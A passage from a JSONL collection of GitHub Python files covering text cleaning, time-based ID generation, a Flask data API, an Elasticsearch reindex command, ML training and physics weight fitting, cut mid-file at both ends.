re.findall('\\w+ies$',token):\r\n # if the word ends with 'ies', changes 'ies' to 'y'\r\n corrected_token = re.sub('ies$','y',token) \r\n elif re.findall('\\w+ches$|\\w+ses$|\\w+xes|\\w+oes$',token):\r\n # if the word ends with 'ches', 'ses', 'xes', 'oes', drops the 'es'\r\n corrected_token = re.sub('es$','',token)\r\n elif re.findall('\\w+s$',token):\r\n # if the word ends with 's' BUT NOT 'ss' (this is to prevent changing words like 'business')\r\n if not re.findall('\\w+ss$',token): \r\n corrected_token = re.sub('s$','',token) # drop the 's'\r\n \r\n if len(corrected_token) >= 3 and d.check(corrected_token):\r\n #finally, make a substitution only if the word is at least 3 characters long...\r\n # AND the correction actually has meanings! \r\n OutputTokens[tokenInd] = corrected_token\r\n \r\n return ' '.join(OutputTokens)\r\n\r\n#...............................................#\r\n\r\ndef substitute_titles(InputString,word_substitutes,phrase_substitutes):\r\n # This is the main function\r\n\r\n # (1.) Initial cleaning:\r\n CleanedString = re.sub('[^A-Za-z- ]','',InputString)\r\n CleanedString = re.sub('-',' ',CleanedString.lower())\r\n CleanedString = ' '.join([w for w in re.split(' ', CleanedString) if not w==''])\r\n\r\n # (2.) Three types of substitutions:\r\n\r\n if len(CleanedString) >= 1:\r\n CleanedString = PhraseSubstitute(CleanedString, phrase_substitutes)\r\n CleanedString = WordSubstitute(CleanedString, word_substitutes)\r\n CleanedString = SingularSubstitute(CleanedString)\r\n CleanedString = PhraseSubstitute(CleanedString, phrase_substitutes)\r\n\r\n # (3.) Get rid of duplicating words:\r\n # This step is to reduce dimensions of the title.\r\n # for example, \"sale sale engineer sale \" would be reduced to simply \"sale engineer\"\r\n \r\n ListTokens = [w for w in re.split(' ',CleanedString) if not w=='']\r\n FinalTokens = list()\r\n\r\n for token in ListTokens: # for each word...\r\n if not token in FinalTokens: # ...if that word has NOT appeared before...\r\n FinalTokens.append(token) # ...append that word to the final result. \r\n \r\n return ' '.join(FinalTokens) \r\n\r\n#...............................................#\r\n","repo_name":"phaiptt125/newspaper_project","sub_path":"data_cleaning/auxiliary files/title_substitute.py","file_name":"title_substitute.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"672451156","text":"import datetime\nimport random as rnd\nimport typing\n\nDEFAULT_ALPHABET = \"13456789ABCDEFHKLMNPQRTWXYZ\"\n\n\nclass Resolution:\n \"\"\"Helper type for specifying minimum time resolutions.\"\"\"\n\n microseconds = 1e-6\n milliseconds = 1e-3\n seconds = 1\n minutes = 60\n hours = 3600\n days = 86400\n\n\ndef key_length(\n overflow_years: float, resolution: float, B: int\n) -> typing.Tuple[int, int, float]:\n \"\"\"\n Determines some key parameters for ID generation.\n\n Parameters\n ----------\n overflow_years : float\n Number of years after which the key length will be exceeded\n resolution : float\n Maximum length of an interval (in seconds)\n B : int\n Base of the positional notation (length of alphabet)\n\n Returns\n -------\n D : int\n Number of digits of the ID\n K : int\n Total number of unique IDs (intervals)\n T : float\n Duration of one interval in seconds\n \"\"\"\n total_seconds = overflow_years * 31536000\n K_min = total_seconds / resolution\n D = 1\n K = B\n while K < K_min:\n D += 1\n K *= B\n T = total_seconds / K\n return D, K, T\n\n\ndef base(n: float, alphabet: str, digits: int) -> str:\n \"\"\"\n Converts a real-valued number into its baseN-notation.\n\n Parameters\n ----------\n n : float\n Number to be converted (decimal precision will be droped)\n alphabet : str\n Alphabet of the positional notation system\n digits : int\n Number of digits in the ID\n\n Returns\n -------\n id : str\n Length may exceed the specified number of digits\n if n results in an overflow\n \"\"\"\n B = len(alphabet)\n output = \"\"\n while n > 0:\n output += alphabet[int(n) % B]\n n = n // B\n return output[::-1].rjust(digits, alphabet[0])\n\n\nclass HagelSource:\n \"\"\"An ID-generator that exposes some internal parameters.\"\"\"\n\n def __init__(\n self,\n resolution: float = Resolution.seconds,\n alphabet: str = DEFAULT_ALPHABET,\n start: datetime.datetime = datetime.datetime(\n 2018, 1, 1, tzinfo=datetime.timezone.utc\n ),\n overflow_years: float = 10,\n ):\n \"\"\"Creates an ID-generator that is slightly faster and a bit more transparent.\n\n Parameters\n ----------\n resolution : float\n Maximum duration in seconds for an increment in the id\n alphabet : str\n The (sorted) characters to be used in the ID generation\n start : datetime\n Beginning of timeline\n overflow_years : float\n Number of years after which the key length will increase by 1\n \"\"\"\n self.alphabet = alphabet\n self.B = len(alphabet)\n self.start = start.astimezone(datetime.timezone.utc)\n self.total_seconds = overflow_years * 31536000\n self.end = self.start + datetime.timedelta(self.total_seconds / 86400)\n\n self.digits, self.combinations, self.resolution = key_length(\n overflow_years, resolution, self.B\n )\n\n super().__init__()\n\n def monotonic(self, now: typing.Optional[datetime.datetime] = None) -> str:\n \"\"\"\n Generates a short, human-readable ID that\n increases monotonically with time.\n\n Parameters\n ----------\n now : datetime\n Timpoint at which the ID is generated\n\n Returns\n -------\n id : str\n The generated hagelkorn\n \"\"\"\n if now is None:\n now = datetime.datetime.utcnow()\n\n elapsed_seconds = (\n now.astimezone(datetime.timezone.utc) - self.start\n ).total_seconds()\n elapsed_intervals = int(elapsed_seconds / self.resolution)\n\n return base(elapsed_intervals, self.alphabet, self.digits)\n\n\ndef monotonic(\n resolution: float = Resolution.seconds,\n now: typing.Optional[datetime.datetime] = None,\n alphabet: str = DEFAULT_ALPHABET,\n start: datetime.datetime = datetime.datetime(\n 2018, 1, 1, tzinfo=datetime.timezone.utc\n ),\n overflow_years: float = 10,\n) -> str:\n \"\"\"\n Generates a short, human-readable ID that\n increases monotonically with time.\n\n Parameters\n ----------\n resolution : float\n Maximum duration in seconds for an increment in the id\n now : datetime\n Timpoint at which the ID is generated\n alphabet : str\n The (sorted) characters to be used in the ID generation\n start : datetime\n Beginning of timeline\n overflow_years : float\n Number of years after which the key length will increase by 1\n\n Returns\n -------\n id : str\n The generated hagelkorn\n \"\"\"\n # clean up input arguments\n start = start.astimezone(datetime.timezone.utc)\n if now is None:\n now = datetime.datetime.utcnow()\n\n # find parameters\n B = len(alphabet)\n digits, combis, resolution = key_length(overflow_years, resolution, B)\n\n # find the interval number\n elapsed_s = (now.astimezone(datetime.timezone.utc) - start).total_seconds()\n elapsed_intervals = int(elapsed_s / resolution)\n\n # encode\n return base(elapsed_intervals, alphabet, digits)\n\n\ndef random(digits: int = 5, alphabet: str = DEFAULT_ALPHABET) -> str:\n \"\"\"\n Generates a random alphanumberic ID.\n\n Parameters\n ----------\n digits : int\n Length of the generated ID\n alphabet : str\n Available characters for the ID\n\n Returns\n -------\n id : str\n The generated hagelkorn\n \"\"\"\n return \"\".join(rnd.choices(alphabet, k=digits))\n","repo_name":"michaelosthege/hagelkorn","sub_path":"pyhagelkorn/hagelkorn/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40193801865","text":"\"\"\"\nproblem tier : Silver 4 (solved.ac)\n\"\"\"\n\nN = int(input())\n\nif N == 1:\n exit()\n\ndef isPrime(X):\n if X == 1:\n return False\n elif X == 2:\n return True\n for i in range(X-2):\n if X % (i+2) == 0:\n return False\n return True\n\n\nprime = 2\nwhile not isPrime(N):\n if N%prime == 0:\n print(prime)\n N = N//prime\n else:\n prime += 1\n while not isPrime(prime):\n prime += 1\nprint(N)\n","repo_name":"hyeongrokheo/baekjoon","sub_path":"solved/[11653] 소인수분해.py","file_name":"[11653] 소인수분해.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34544116085","text":"from typing import Any, List, Tuple\n\nfrom .db.database import get_db\nfrom .models import Category, Command, EmailType, Genre\n\n\nclass Initializer:\n def __init__(self):\n self.session = next(get_db())\n\n def exists(self, Obj, obj_name):\n exists = self.session.query(Obj).filter_by(name=obj_name).first()\n if exists:\n return True\n return False\n\n def add_data(self, Obj, data):\n for name in data:\n if not self.exists(Obj, name):\n obj = Obj(name=name)\n self.session.add(obj)\n self.session.commit()\n\n def add_bulk_data(self, data: Tuple[Any, List[str]]):\n for i in data:\n self.add_data(i[0], i[1])\n\n\ncategories = (Category, [\"Publisher\", \"Label\", \"Management\", \"Full Service\", \"Artist\"])\ngenres = (Genre, [\"Hip Hop\", \"Country\", \"All Genres\", \"Pop\", \"EDM\", \"Alt Pop\"])\ncommands = (\n Command,\n [\"Not Emailing\", \"VIP\", \"Emailing\", \"Email not working\", \"Spam\", \"Demo Drop\", \"Blocked\"],\n)\nemail_types = (\n EmailType,\n [\"Normal Email\", \"Management Email\", \"General Email\", \"RAMPAK Email\"],\n)\n\ndata = [categories, genres, commands, email_types]\n\n\nif __name__ == \"__main__\":\n initializer = Initializer()\n for i in data:\n initializer.add_data(i[0], i[1])\n","repo_name":"gbilton/Sampa","sub_path":"app/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2640441708","text":"from flask import Flask, render_template, jsonify\nimport os\nimport numpy as np\n\napp = Flask(__name__)\n\nfrom flask_sqlalchemy import SQLAlchemy\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL', '') or \"sqlite:///db.sqlite\"\n# app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL', '')\ndb = SQLAlchemy(app)\n\nfrom .models import Flow\n\n\n@app.route(\"/\")\ndef home():\n return render_template('home.html')\n\n@app.route(\"/apidoc\")\ndef apidoc():\n return render_template('apidoc.html')\n\n@app.route(\"/map\")\ndef map():\n return render_template('map.html')\n\n@app.route(\"/plots\")\ndef plots():\n return render_template('plots.html')\n\n@app.route(\"/api/v1/\")\ndef routes():\n return jsonify({'routes': ['/api/v1/',\n '/api/v1/',\n '/api/v1/',\n '/api/v1//']})\n\n@app.route(\"/api/v1//\")\ndef state(state):\n results = db.session.query(Flow.target, Flow.flow, Flow.year).filter(Flow.source.like(state))\n target = [result[0] for result in results]\n flow = [result[1] for result in results]\n all_years = [result[2] for result in results]\n years = []\n [years.append(year) for year in all_years if year not in years]\n output = {}\n length = len(target)\n num_year = len(years)\n for index, year in enumerate(years):\n output[year] = dict(zip(target[int(index * length / num_year) : int((index + 1) * length / num_year)],\n flow[int(index * length / num_year) : int((index + 1) * length / num_year)] ))\n return jsonify(output)\n\n@app.route(\"/api/v1//\")\ndef year(year):\n results = db.session.query(Flow.target, Flow.source, Flow.flow).filter(Flow.year == year).order_by(Flow.source).order_by(Flow.target)\n target = [result[0] for result in results]\n flow = [result[2] for result in results]\n all_states = [result[1] for result in results]\n states = []\n [states.append(state) for state in all_states if state not in states]\n output = {}\n length = len(target)\n num_states = len(states)\n for index, state in enumerate(states):\n output[state] = dict(zip(target[int(index * length / num_states) : int((index + 1) * length / num_states)],\n flow[int(index * length / num_states) : int((index + 1) * length / num_states)] ))\n return jsonify(output)\n\n@app.route(\"/api/v1///\")\ndef state_year(state, year):\n results = db.session.query(Flow.target, Flow.flow, Flow.year).filter(Flow.source.like(state)).filter(Flow.year == year)\n target = [result[0] for result in results]\n flow = [result[1] for result in results]\n all_years = [result[2] for result in results]\n years = []\n [years.append(year) for year in all_years if year not in years]\n output = {}\n length = len(target)\n num_year = len(years)\n for index, year in enumerate(years):\n output[year] = dict(zip(target[int(index * length / num_year) : int((index + 1) * length / num_year)],\n flow[int(index * length / num_year) : int((index + 1) * length / num_year)] ))\n return jsonify(output)\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"toymagucfdatascience/Population-Flow","sub_path":"website/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25211594174","text":"from elasticsearch import exceptions as es_exceptions\nfrom flask import current_app as app\nfrom eve_elastic import get_es\nimport superdesk\nfrom content_api import ELASTIC_PREFIX as CAPI_ELASTIC_PREFIX\n\nfrom .index_from_mongo import IndexFromMongo\n\n# this one is not configurable\nSD_ELASTIC_PREFIX = \"ELASTICSEARCH\"\n\n\nclass FlushElasticIndex(superdesk.Command):\n \"\"\"Flush elastic index.\n\n It removes elastic index, creates a new one and index it from mongo.\n You must specify at least one elastic index to flush:\n ``--sd`` (superdesk) or ``--capi`` (content api)\n\n Example:\n ::\n\n $ python manage.py app:flush_elastic_index --sd\n $ python manage.py app:flush_elastic_index --capi\n $ python manage.py app:flush_elastic_index --sd --capi\n\n \"\"\"\n\n option_list = [\n superdesk.Option(\"--sd\", action=\"store_true\", dest=\"sd_index\"),\n superdesk.Option(\"--capi\", action=\"store_true\", dest=\"capi_index\"),\n ]\n\n def run(self, sd_index, capi_index):\n if not (sd_index or capi_index):\n raise SystemExit(\"You must specify at least one elastic index to flush. \" \"Options: `--sd`, `--capi`\")\n\n self._es = get_es(app.config[\"ELASTICSEARCH_URL\"])\n\n if sd_index:\n self._delete_elastic(app.config[\"ELASTICSEARCH_INDEX\"])\n if capi_index:\n self._delete_elastic(app.config[\"CONTENTAPI_ELASTICSEARCH_INDEX\"])\n\n self._index_from_mongo(sd_index, capi_index)\n\n def _delete_elastic(self, index_prefix):\n \"\"\"Deletes elastic indices with `index_prefix`\n\n :param str index_prefix: elastix index\n :raise: SystemExit exception if delete elastic index response status is not 200 or 404.\n \"\"\"\n\n indices = list(self._es.indices.get_alias(\"{}_*\".format(index_prefix)).keys())\n print(f\"Configured indices with prefix '{index_prefix}': \" + \", \".join(indices))\n\n for es_resource in app.data.get_elastic_resources():\n alias = app.data.elastic._resource_index(es_resource)\n print(f\"- Attempting to delete alias {alias}\")\n for index in indices:\n if index.rsplit(\"_\", 1)[0] == alias or index == alias:\n try:\n print('- Removing elastic index \"{}\"'.format(index))\n self._es.indices.delete(index=index)\n except es_exceptions.NotFoundError:\n print('\\t- \"{}\" elastic index was not found. Continue without deleting.'.format(index))\n except es_exceptions.TransportError as e:\n raise SystemExit(\n '\\t- \"{}\" elastic index was not deleted. Exception: \"{}\"'.format(index, e.error)\n )\n else:\n print('\\t- \"{}\" elastic index was deleted.'.format(index))\n break\n\n def _index_from_mongo(self, sd_index, capi_index):\n \"\"\"Index elastic search from mongo.\n\n if `sd_index` is true only superdesk elastic index will be indexed.\n if `capi_index` is true only content api elastic index will be indexed.\n\n :param bool sd_index: Flag to index superdesk elastic index.\n :param bool capi_index:nFlag to index content api elastic index.\n \"\"\"\n # get all es resources\n app.data.init_elastic(app)\n resources = app.data.get_elastic_resources()\n\n for resource in resources:\n # get es prefix per resource\n es_backend = app.data._search_backend(resource)\n resource_es_prefix = es_backend._resource_prefix(resource)\n\n if resource_es_prefix == SD_ELASTIC_PREFIX and sd_index:\n print('- Indexing mongo collections into \"{}\" elastic index.'.format(app.config[\"ELASTICSEARCH_INDEX\"]))\n IndexFromMongo.copy_resource(resource, IndexFromMongo.default_page_size)\n\n if resource_es_prefix == CAPI_ELASTIC_PREFIX and capi_index:\n print(\n '- Indexing mongo collections into \"{}\" elastic index.'.format(\n app.config[\"CONTENTAPI_ELASTICSEARCH_INDEX\"]\n )\n )\n IndexFromMongo.copy_resource(resource, IndexFromMongo.default_page_size)\n\n\nsuperdesk.command(\"app:flush_elastic_index\", FlushElasticIndex())\n","repo_name":"superdesk/superdesk-core","sub_path":"superdesk/commands/flush_elastic_index.py","file_name":"flush_elastic_index.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"81"} +{"seq_id":"34545539012","text":"################################################################################################### \n# Load modules\n###################################################################################################\nimport numbers\nimport numpy as np\nfrom sklearn.utils.validation import check_array, check_non_negative\n\n\n\n\n\n################################################################################################### \n# Helper functions\n###################################################################################################\ndef _num_samples(x):\n message = \"Expected sequence or array-like, got %s\" % type(x)\n\n if hasattr(x, \"fit\") and callable(x.fit):\n raise TypeError(message)\n\n if not hasattr(x, \"__len__\") and not hasattr(x, \"shape\"):\n if hasattr(x, \"__array__\"):\n x = np.asarray(x)\n else:\n raise TypeError(message)\n\n if hasattr(x, \"shape\") and x.shape is not None:\n if len(x.shape) == 0:\n raise TypeError(\n \"Singleton array %r cannot be considered a valid collection.\" % x\n )\n\n if isinstance(x.shape[0], numbers.Integral):\n return x.shape[0]\n\n try:\n return len(x)\n except TypeError as type_error:\n raise TypeError(message) from type_error\n\n\n\n\n\n\ndef _check_sample_weight(sample_weight, X, dtype = None, copy = False, only_non_negative = False):\n n_samples = _num_samples(X)\n\n if dtype is not None and dtype not in [np.float32, np.float64]:\n dtype = np.float64\n\n if sample_weight is None:\n sample_weight = np.ones(n_samples, dtype = dtype)\n \n elif isinstance(sample_weight, numbers.Number):\n sample_weight = np.full(n_samples, sample_weight, dtype = dtype)\n\n else:\n if dtype is None:\n dtype = [np.float64, np.float32]\n sample_weight = check_array(\n sample_weight,\n accept_sparse = False,\n ensure_2d = False,\n dtype = dtype,\n order = \"C\",\n copy = copy,\n input_name = \"sample_weight\",\n )\n if sample_weight.ndim != 1:\n raise ValueError(\"Sample weights must be 1D array or scalar\")\n\n if sample_weight.shape != (n_samples, ):\n raise ValueError(\n \"sample_weight.shape == {}, expected {}!\".format(\n sample_weight.shape, (n_samples,)\n )\n )\n\n if only_non_negative:\n check_non_negative(sample_weight, \"`sample_weight`\")\n\n return sample_weight\n\n\n\n\n\n","repo_name":"CDAlecsa/Oblique-Forest-AutoEncoders","sub_path":"modules/sklearn_misc.py","file_name":"sklearn_misc.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"41051651109","text":"# Imports\nimport sys\n#sys.path.append(\"..\")\nimport argparse\nimport os\nimport numpy as np\nimport torch\nimport torch.nn as nn \nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset\nimport MinkowskiEngine as ME\nimport MinkowskiFunctional as MF\n\n# Local Imports\nfrom models.models import Seg1, Seg2, Seg3, count_parameters, FrankenSeg\nfrom data.datasets import TrainingDataset, PredictionDataset\nfrom models.util import accuracy\n\nconfig_file = None\nmodel_path = None\ndebug_mode = True\nlog_path = \"logs/train_log.txt\"\ndef log(txt):\n print(txt)\n if not debug_mode:\n with open(log_path,'a') as lf:\n lf.write(txt+\"\\n\")\n# WIP\nparser = argparse.ArgumentParser(description='Train a model.')\n\n\nif torch.cuda.is_available():\n device = torch.device('cuda')\nelse:\n device = torch.device('cpu')\n\nconfig = {\n \"TRAIN_PATH\": \"h5_meter/train.h5py\",\n \"DEV_PATH\": \"h5_meter/validate.h5py\",\n \"BATCH_SIZE\": 64,\n \"NUM_CLASSES\": 2,\n \"N_FEATURES\": 2,\n \"CHANNELS\":32,\n \"MODEL_DEPTH\":4,\n \"NUM_EPOCHS\": 500,\n \"LEARNING_RATE\": 0.001,\n \"L2\": 0.005,\n \"MOMENTUM\": 0.9,\n \"QUANTIZATION_SIZE\": 0.01\n}\n \n\ndef train(config):\n # dataloader\n train = TrainingDataset(os.path.abspath(\"../data/\"+config['TRAIN_PATH']), quantization_size = config['QUANTIZATION_SIZE'], debug=debug_mode)\n train_loader = torch.utils.data.DataLoader(train, batch_size = config['BATCH_SIZE'],\n collate_fn=ME.utils.batch_sparse_collate)\n dev = PredictionDataset(os.path.abspath(\"../data/\"+config['DEV_PATH']), quantization_size = config['QUANTIZATION_SIZE'])\n dev_loader = torch.utils.data.DataLoader(dev, batch_size = config['BATCH_SIZE'],\n collate_fn=ME.utils.batch_sparse_collate)\n # Model, loss, optimizer\n model = Seg3(2, 32, 4, 2).to(device)\n loss_func = nn.CrossEntropyLoss(ignore_index=-100)\n optimizer = optim.Adam(model.parameters(), lr = config['LEARNING_RATE'], weight_decay = config['L2'])\n count_parameters(model)\n\n # Training \n log(\"Training...\")\n for epoch in range(1,config['NUM_EPOCHS']+1):\n log(\"Starting epoch \"+str(epoch))\n total_loss = 0\n total=0\n correct=0\n model.train()\n for i, (coords, feats, labels) in enumerate(train_loader):\n optimizer.zero_grad() \n y_ = model(ME.SparseTensor(feats.float(), coords, device=device))\n y__ = MF.softmax(y_, dim=1).F.squeeze()\n loss = loss_func(y__, labels.long().to(device))\n loss.backward()\n optimizer.step()\n total_loss += loss.item()\n c, t = accuracy(y__, labels)\n correct += c\n total += t\n if i % 100 == 0:\n print(f\"Cumulative train accuracy at batch {i}: {1.0*correct/total}\")\n del coords, feats, labels,y_, y__,loss\n torch.cuda.empty_cache()\n #torch.cuda.synchronize()\n correct = 0\n total = 0\n dev_loss = 0\n model.eval()\n for i, (coords, feats, labels) in enumerate(dev_loader):\n in_field = ME.TensorField(\n features=feats.float(),\n coordinates=coords,\n quantization_mode=ME.SparseTensorQuantizationMode.RANDOM_SUBSAMPLE, device=device)\n x = in_field.sparse()\n y_ = model(x)\n y__ = MF.softmax(y_.slice(in_field), dim=1).F.squeeze()\n loss = loss_func(y__, labels.long().to(device))\n dev_loss += loss.item()\n c, t = accuracy(y__, labels)\n correct += c\n total += t\n del coords, feats, labels,y_, y__, loss\n torch.cuda.empty_cache()\n #torch.cuda.synchronize()\n log(f\"Epoch {epoch} complete: train loss: {total_loss}, dev loss: {dev_loss}, dev accuracy: {1.0*correct/total}\")\n if not debug_mode and epoch % 20 == 0:\n torch.save(model.state_dict(), \"../models/prototype2/snapshot_\"+str(epoch)+\".pt\")\n \n\ntrain(config)\n","repo_name":"jstoma55/LeafAndWood","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15683431164","text":"from http_client import *\nimport database\nimport ubinascii\nimport ugfx\n\nneeds_wifi = True\nupdate_rate = 120 * 1000\nneeds_icon = True\n\n\nid = str(ubinascii.hexlify(pyb.unique_id()), 'ascii')\ndb = database.Database()\nserver = 'badge.sammachin.com'\n\ndef tick(icon):\n\tlastseq = db.get('msgseq')\n\tif not lastseq:\n\t\treturn\n\turl = 'http://%s/unread/%s?lastseq=%s' % (server, id, lastseq)\n\tprint(url)\n\tmsgcount = get(url).text\n\tif msgcount == '0':\n\t\treturn ''\n\telse:\n\t\ticon.show()\n\t\tugfx.set_default_font(\"c*\")\n\t\ticon.area(0,0,icon.width(),icon.height(),ugfx.BLUE)\n\t\ticon.text(4,4,msgcount+\" \",0xFFFF)\n\t\tif msgcount == '1':\n\t\t\treturn \"1 Unread Message\"\n\t\telse:\n\t\t\treturn msgcount + \" Unread Messages\"","repo_name":"nexmo-community/emfbadge-messages","sub_path":"external.py","file_name":"external.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"4509956653","text":"\"\"\"\nThis module provides statistical methods for the confidence interval, graphics builder.\n\"\"\"\nfrom itertools import product\nfrom typing import Mapping, Iterable, Tuple, NewType\n\nimport matplotlib.pyplot as plt\n\nfrom sks.percolatesanalyzer.main import PercolationStats\nfrom sks.percolatesanalyzer.percolation import UFDSQuickUnion\n\n__author__ = \"6rayWa1cher\"\n\nborder_type = NewType(\"borders\", Mapping[int, Iterable[Tuple[int, int, int]]])\n\n\ndef start_process(n_arr, cycles_arr, vibration_factor=3, primary_key_cycles=False) -> border_type:\n \"\"\"\n Runs various Monte-Carlo experiments and return its results in dict.\n Vibration factor defines how many times each experiment configuration\n will be run. Only the average result will be taken into account\n (by the mean value of the interval).\n :param n_arr: array of matrix sizes (n x n)\n :param cycles_arr: array of cycles\n :param vibration_factor: how many times each config will be run\n :param primary_key_cycles: is cycle - primary key\n :return: n -> set( (cycle, left, right) ) if not primary_key_cycles, else\n cycle -> set( (n, left, right) )\n \"\"\"\n ps = PercolationStats()\n if primary_key_cycles:\n borders = {c: set() for c in cycles_arr}\n else:\n borders = {n: set() for n in n_arr}\n for n, cycles in product(n_arr, cycles_arr):\n print(\"Starting n:{0} cycles:{1} test...\".format(n, cycles), end=' ')\n curr_borders = list()\n for _ in range(vibration_factor):\n # If the test in single-thread mode takes lower than one second on the test stand,\n # it will better start single-thread mode. The formula is derived by testing.\n if (10 ** -2) * ((n / 5) ** 2) * (cycles / 50) > 1.0:\n ps.do_parallel_experiment(n, cycles, threads=8, collection=UFDSQuickUnion)\n else:\n ps.do_experiment(n, cycles, UFDSQuickUnion)\n l, r = ps.confidence()\n curr_borders.append(((l + r) / 2, l, r))\n center_index = len(curr_borders) // 2\n curr_borders.sort()\n _, l, r = curr_borders[center_index]\n if primary_key_cycles:\n borders[cycles].add((n, l, r))\n else:\n borders[n].add((cycles, l, r))\n print(\"interval {0}, {1}\".format(l, r))\n return borders\n\n\ndef draw_graphics(borders: border_type, primary_key_cycles=False):\n \"\"\"\n Draw graphics on display\n :param borders: see start_process return\n :param primary_key_cycles: is cycle - primary key\n :return: None\n \"\"\"\n fig, axs = plt.subplots(nrows=len(borders.keys()), ncols=2)\n i = 0\n for primary, lr_set in borders.items():\n ax_arr = axs[i]\n ax = ax_arr[0]\n i += 1\n keys = list()\n left = list()\n right = list()\n delta = list()\n center = list()\n for secondary, l, r in sorted(lr_set):\n keys.append(secondary)\n left.append(l)\n right.append(r)\n delta.append(r - l)\n center.append((l + r) / 2)\n ax.plot(keys, left, label=\"left\")\n ax.plot(keys, right, label=\"right\")\n ax.plot(keys, center, label='center')\n ax.set_ylabel('Confidence border')\n ax.set_xlabel('n' if primary_key_cycles else 'Cycles')\n ax.set_title(('cycles = {0}' if primary_key_cycles else 'n = {0}').format(primary))\n ax.legend(loc='lower right')\n ax.grid(True)\n ax = ax_arr[1]\n ax.plot(keys, delta)\n ax.set_xlabel('n' if primary_key_cycles else 'Cycles')\n ax.set_ylabel('Delta')\n ax.grid(True)\n plt.subplots_adjust(left=0.08, bottom=0.11, right=0.96, top=0.96, wspace=0.2, hspace=0.5)\n fig.set_size_inches(6.4 * 1.5, 4.8 * 1.5)\n plt.show()\n\n\nif __name__ == '__main__':\n # primary - n, secondary - cycles\n draw_graphics(start_process([5, 10], list(range(50, 5000, 200))))\n # primary - cycles, secondary - n\n draw_graphics(start_process(list(range(5, 50)), [500, 5000], primary_key_cycles=True), True)\n","repo_name":"6rayWa1cher/sks-percolates-analyzer","sub_path":"src/sks/percolatesanalyzer/runners/confidence_runner.py","file_name":"confidence_runner.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34481896298","text":"from ._inspect import is_iterable\n\n\ndef convert_to_list(pattern):\n \"\"\"\n Convert iterable to a list.\n Nested iterables are converted to lists as well.\n :param pattern: any iterable\n :return: list\n \"\"\"\n assert is_iterable(pattern), \"%s is not iterable\" % type(pattern).__name__\n\n def _convert(obj):\n if hasattr(obj, \"__iter__\"):\n return [\n _convert(x)\n for x in obj\n ]\n else:\n return obj\n\n return _convert(pattern)\n\n","repo_name":"defgsus/musicpatterns","sub_path":"musicpattern/patterns/_convert.py","file_name":"_convert.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"28461670833","text":"\"\"\"Example of using the PISA WeightFitter class.\"\"\"\n\nfrom graphnet.pisa.fitting import WeightFitter\nfrom graphnet.utilities.argparse import ArgumentParser\nfrom graphnet.utilities.imports import has_pisa_package\nfrom graphnet.utilities.logging import Logger\n\nfrom _common_pisa import ERROR_MESSAGE_MISSING_PISA\n\n\ndef main() -> None:\n \"\"\"Run example.\"\"\"\n # Configuration\n outdir = \"/mnt/scratch/rasmus_orsoe/weight_test\" # @TEMP\n database_path = ( # @TEMP\n \"/mnt/scratch/rasmus_orsoe/databases/dev_lvl3_genie_burnsample_v5/data\"\n \"/dev_lvl3_genie_burnsample_v5.db\"\n )\n fitter = WeightFitter(database_path=database_path)\n\n pisa_config_dict = {\n \"reco_energy\": {\"num_bins\": 8},\n \"reco_coszen\": {\"num_bins\": 8},\n \"pid\": {\"bin_edges\": [0, 0.5, 1]},\n \"true_energy\": {\"num_bins\": 200},\n \"true_coszen\": {\"num_bins\": 200},\n \"livetime\": 10 * 0.01, # 1% of 10 years, like oscNext burn sample.\n }\n\n # By calling `fitter.fit_weights`` we get the weights returned per event.\n # If `add_to_database = True`, a table will be added to the database.\n weights = fitter.fit_weights(\n outdir,\n add_to_database=True,\n weight_name=\"weight_livetime10_1percent\",\n pisa_config_dict=pisa_config_dict,\n )\n\n print(weights)\n\n\nif __name__ == \"__main__\":\n\n if not has_pisa_package():\n Logger(log_folder=None).error(ERROR_MESSAGE_MISSING_PISA)\n\n else:\n # Parse command-line arguments\n parser = ArgumentParser(\n description=\"\"\"\nUse the PISA WeightFitter class.\n\"\"\"\n )\n\n args = parser.parse_args()\n\n main()\n","repo_name":"Peterandresen12/graphnet","sub_path":"examples/05_pisa/01_fit_pisa_weights.py","file_name":"01_fit_pisa_weights.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"25869280173","text":"import warnings\n\nimport numpy as np\nfrom numba import guvectorize\nfrom numba import njit\n\nfrom respy._numba import array_to_tuple\nfrom respy.config import HUGE_FLOAT\nfrom respy.pre_processing.model_processing import process_params_and_options\nfrom respy.shared import aggregate_keane_wolpin_utility\nfrom respy.shared import transform_disturbances\nfrom respy.state_space import StateSpace\n\n\ndef solve(params, options):\n \"\"\"Solve the model.\n\n This function takes a model specification and returns the state space of the model\n along with components of the solution such as covariates, non-pecuniary rewards,\n wages, continuation values and value functions 